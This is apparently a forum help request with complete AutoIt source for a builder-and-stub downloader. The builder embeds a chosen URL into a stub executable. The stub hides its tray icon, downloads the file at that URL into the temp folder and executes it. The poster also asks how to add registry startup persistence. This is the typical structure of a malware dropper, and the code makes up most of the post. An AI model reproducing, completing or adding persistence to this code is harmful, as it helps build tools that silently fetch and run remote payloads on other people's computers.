Adding a file to registry startup and making update from DDL -Need help-

HI all

i have a mini program that is made from a bulder and a stub

when you open the bulder there will be e textbox you but a download link ther then press build

after that a new exe app is generated when you open it it download and run the url that you had pasted in the bulder

here is the bulder code:

#include <ButtonConstants.au3>

#include <EditConstants.au3>

#include <GUIConstantsEx.au3>

#include <WindowsConstants.au3>

#NoTrayIcon

#Region ### START Koda GUI section ### Form=

$Form1 = GUICreate("Downloader", 287, 54, 192, 124)

$http = GUICtrlCreateInput("http://www.mysite.com/file.exe", 8, 16, 201, 21)

$build = GUICtrlCreateButton("Build", 216, 8, 65, 33)

GUISetState(@SW_SHOW)

#EndRegion ### END Koda GUI section ###

 

While 1

$nMsg = GUIGetMsg()

Switch $nMsg

Case $GUI_EVENT_CLOSE

Exit

 

Case $build

$Input1 = GUICtrlRead($http)

FileCopy(@ScriptDir & "\stub.exe",@ScriptDir & "\data.exe")

$f = FileOpen("data.exe", 1)

         FileWrite($f, @CRLF & "[data]" & @CRLF & "data=" & $Input1)

         FileClose($f)

FileMove(@scriptdir & "\data.exe",@DesktopDir & "\ready.exe")

EndSwitch

WEnd

 

 

and the stub code:

#NoTrayIcon

 

;read the url from itself:

Global $url = IniRead(@ScriptFullPath, 'data', 'data', 'Null')

 

Local $hDownload = InetGet($url, @TempDir & "\file.exe", 1, 1)

Do

Sleep(250)

Until InetGetInfo($hDownload, 2) ; Check if the download is complete.

Local $nBytes = InetGetInfo($hDownload, 0)

InetClose($hDownload) ; Close the handle to release resources.

ShellExecute(@tempdir & "\file.exe")

 

 

what i want to make is when you first run the stub it download and check the size of the file in the link : www.site.com/file.exe
